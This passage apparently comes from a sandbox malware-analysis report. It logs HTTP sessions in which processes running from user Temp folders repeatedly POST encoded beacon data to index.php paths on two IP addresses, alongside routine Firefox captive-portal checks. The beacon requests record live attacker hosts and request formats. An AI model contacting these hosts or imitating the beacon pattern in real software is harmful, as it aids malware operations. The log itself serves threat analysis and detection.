Jul 27, 2024 03:20:26.725466967 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54254 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:20:27.789311886 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54254 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:20:27.790401936 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54254 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:20:27.790796041 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54254 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49817	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:26.049168110 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:27.788906097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:27.789701939 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:27.789786100 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:27.790436983 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:27.790813923 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:28.055006981 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49819	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:26.461656094 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:27.790414095 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:27.790765047 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:27.790786028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:27.790985107 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:28.051295042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49822	34.107.221.82	80	5236	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:26.589437008 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 03:20:27.790021896 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 26 Jul 2024 15:00:00 GMT Age: 37227 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 03:20:27.790456057 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 26 Jul 2024 15:00:00 GMT Age: 37227 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 03:20:27.790775061 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 26 Jul 2024 15:00:00 GMT Age: 37227 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49825	34.107.221.82	80	5236	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:27.886902094 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 03:20:28.263993025 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 26 Jul 2024 15:00:00 GMT Age: 37228 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49829	185.215.113.16	80	1764	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:28.189768076 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:28.915597916 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:28.916296959 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 42 41 31 34 33 43 39 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FBA143C9FCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 27, 2024 03:20:29.162081003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49830	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:28.189874887 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:20:28.935714006 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:20:28.939068079 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:20:29.186444998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:20:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49832	34.107.221.82	80	5236	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:20:28.356775999 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 03:20:28.816626072 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54256 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:20:32.554225922 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 03:20:32.651808023 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54260 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:20:41.111433029 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 03:20:41.209728003 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54269 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:20:46.770152092 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 03:20:46.867614031 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54274 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:20:48.334830999 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 03:20:48.432976007 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54276 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:20:49.018337965 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 03:20:49.115669012 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54277 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:20:52.518672943 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 03:20:52.618829966 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54280 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:20:53.048996925 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 03:20:53.148401976 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54281 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:20:53.351972103 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 03:20:53.449434042 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54281 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:20:53.559251070 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 03:20:53.657675028 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 10:16:12 GMT Age: 54281 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 03:20:53.823638916 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
